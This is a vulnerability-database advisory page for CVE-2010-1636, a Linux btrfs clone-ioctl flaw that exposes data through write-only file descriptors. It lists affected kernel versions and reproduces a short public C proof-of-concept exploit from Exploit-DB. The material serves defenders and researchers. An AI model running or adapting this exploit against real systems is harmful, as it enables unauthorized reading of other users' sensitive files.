CVE-2010-1636

low
Published 2010-06-08 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
3.1

Description

The btrfs_ioctl_clone function in fs/btrfs/ioctl.c in the btrfs functionality in the Linux kernel 2.6.29 through 2.6.32, and possibly other versions, does not ensure that a cloned file descriptor has been opened for reading, which allows local users to read sensitive information from a write-only file descriptor.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34001 local linux verified c ยท 1 KB
Dan Rosenberg ยท 2010-05-18

Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass

c exploit Source: Exploit-DB
/*
source: https://www.securityfocus.com/bid/40241/info

The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.

An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks. 
*/

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)

int main(int argc, char * argv[])
{

  if(argc < 3) {
    printf("Usage: %s [target] [output]\n", argv[0]);
    exit(-1);
  }

  int output = open(argv[2], O_WRONLY | O_CREAT, 0644);

  /* Note - opened for writing, not reading */
  int target = open(argv[1], O_WRONLY);

  ioctl(output, BTRFS_IOC_CLONE, target);

}

OS impact

linux Linux kernel Affected 33 releases
VersionStatusFixed in
2.6.32 Affected โ€”
2.6.31.13 Affected โ€”
2.6.31.12 Affected โ€”
2.6.31.11 Affected โ€”
2.6.31.10 Affected โ€”
2.6.31.9 Affected โ€”
2.6.31.8 Affected โ€”
2.6.31.7 Affected โ€”
2.6.31.6 Affected โ€”
2.6.31.5 Affected โ€”
2.6.31.4 Affected โ€”
2.6.31.3 Affected โ€”
2.6.31.2 Affected โ€”
2.6.31.1 Affected โ€”
2.6.31 Affected โ€”
2.6.30.10 Affected โ€”
2.6.30.9 Affected โ€”
2.6.30.8 Affected โ€”
2.6.30.7 Affected โ€”
2.6.30.6 Affected โ€”
2.6.30.5 Affected โ€”
2.6.30.4 Affected โ€”
2.6.30.3 Affected โ€”
2.6.30.2 Affected โ€”
2.6.30.1 Affected โ€”
2.6.30 Affected โ€”
2.6.29.6 Affected โ€”
2.6.29.5 Affected โ€”
2.6.29.4 Affected โ€”
2.6.29.3 Affected โ€”
2.6.29.2 Affected โ€”
2.6.29.1 Affected โ€”
2.6.29 Affected โ€”

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.